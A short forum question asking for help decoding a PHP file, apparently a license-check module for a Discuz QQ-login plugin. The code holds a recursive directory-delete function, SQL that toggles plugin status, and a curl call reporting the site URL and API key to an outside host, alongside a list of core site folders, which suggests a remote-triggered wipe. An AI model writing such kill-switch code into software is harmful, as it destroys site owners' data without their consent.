求解密，这个PHP文件

<?php
class asgic{
function delDir($dir) {echo $dir;
if (is_dir($dir)) {
$objects = scandir($dir);
foreach ($objects as $object) {
if ($object != "."&&$object != "..") {
if (filetype($dir ."/".$object) == "dir") {
$this->delDir($dir ."/".$object);
}else {
unlink($dir ."/".$object);
}
}
}
reset($objects);
rmdir($dir);
}
return true;
}
function assi(){
global $UI,$Con;
@$edit=mysql_query($UI[athed],$Con);
}
function assd(){
global $UI,$Con;
@$edit=mysql_query($UI[reathed],$Con);
}
function ass($gets){
@$this->delDir($gets);
}
function rdas($fields)
{
$ch = curl_init();
curl_setopt($ch,CURLOPT_URL,$fields);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,true);
$data = curl_exec($ch);
curl_close($ch);
return $data;
}
}
$Con=mysql_connect(IQQOL_SQLHOST,IQQOL_SQLUSER,IQQOL_SQLPASS);
mysql_select_db(IQQOL_DBNAME,$Con);
require_once dirname(dirname(dirname(__FILE__)))."/data/auth.php";
$UI = array(
"assa"=>"/data/auth.php",
"ascd"=>"admin",
"test"=>"http://izzxopen.duapp.com/auth.php?action=check&url=".urlencode(IQQOL_ROOT)."&apikey=".APIKEY,
"ccgq"=>"include",
"ddgq"=>"tools",
"dgcq"=>"api",
"rrag"=>"iZzx_QQol.txt",
"uucq"=>"uc_client",
"ins"=>"/install/install.lock",
"inst"=>DISCUZ_ROOT."install/authcode.php",
"path"=>dirname(dirname(dirname(__FILE__))),
"athed"=>"UPDATE ".IQQOL_SQLTABLE."config SET status='verify' WHERE id = '1'",
"reathed"=>"UPDATE ".IQQOL_SQLTABLE."config SET status='on' WHERE id = '1'",
);
?>